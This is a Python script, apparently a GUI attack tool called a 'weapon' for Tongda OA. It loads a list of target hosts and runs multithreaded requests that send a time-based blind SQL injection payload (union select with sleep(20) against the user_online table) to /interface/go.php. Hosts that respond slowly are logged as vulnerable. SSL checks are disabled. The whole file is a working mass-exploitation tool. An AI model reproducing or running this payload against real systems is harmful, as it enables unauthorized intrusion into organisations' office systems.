# -*- coding: utf-8 -*-
import requests
#Urllib3是一个功能强大，条理清晰，用于HTTP客户端的Python库
import urllib3
#与ssl协议有关（资料匮乏，有待挖掘）
import ssl
#多线程库
import vthread
#图形化GUI页面
import tkinter as tk
import tkinter.filedialog
import tkinter.messagebox
#图形化代码
window = tk.Tk()
window.title('乐逍遥武器-通达OA分支')
#操作页面
window.geometry('700x200')
#输入框大小，是否显示文字

filepath = tkinter.filedialog.askopenfilename(title='选择文件路径',filetypes=[('只能提交TXT文件', '*.txt')])
c1 = tk.Label(window,text=filepath)
c1.place(relx=0.2,rely=0.3,relheight=0.15)

#关闭一些警告消息；使输出无法显示警告
urllib3.disable_warnings()
ssl._create_default_https_context = ssl._create_unverified_context
#请求的文件头
headers = {"Content-Type": "application/x-www-form-urlencoded"}
#Session：在计算机中，尤其是在网络应用中，称为“会话控制”
session = ""

#打开输入的'存在漏洞.txt'进行for循环历遍
def INPUT(file):
    f = open(file)
    lines = f.readlines()
    for line in lines:
        #Python strip() 方法用于移除字符串头尾指定的字符（默认为空格或换行符）或字符序列
        line = line.strip()
        #如果不存在http，则在脚本中添加
        if "http" not in line:
            line = "http://" + line

        #
        GetSession(line)

#创建一个对象，使用host的值
def isLogin(host):
    try:
        # 使用requst库提交get请求；
        r = requests.get(
            url="{url}/interface/go.php?APP_UNIT=1aaaaaaaaaaaaa%25%252727+and+%25%252222%25%252727%25%252222=%25%2522221%25%252222+union+select+if((select count(UID) from user_online)=0%252csleep(20)%252c1)+%23%25%252727".format(
                url=host), timeout=10, headers=headers)
        return True
    # 超时无效
    except requests.exceptions.ReadTimeout:
        return False


# 使用多线程，优点：
@vthread.pool(10)
def GetSession(url):
    global session
    # 通过输入的url判断是否存在漏洞，存在就打开'存在漏洞.txt'将其放入文件中，并输出
    if isLogin(url):
        tkinter.messagebox.showinfo("提示",'存在用户登录')
        # 设置文件对象，并进行换行,
        with open('存在漏洞.txt', "a") as a:
            str = a.write(url + "\n")
    else:
        tkinter.messagebox.showinfo("提示", '不存在用户登录')


#页面布局设置；bg是颜色，width是宽度，height是高度，pady是y轴间距，font字体参数,来控制控件上显示的字体,大小和样式
b2 = tk.Button(window, text='攻击', bg="grey",font=('Arial',12), command=lambda : INPUT(filepath))
b2.place(relx=0.6,rely=0.5,relheight=0.15)

#循环使程序运行后产生图形化页面（如果运行后没出现页面，可以看看加没加这句话）
window.mainloop()
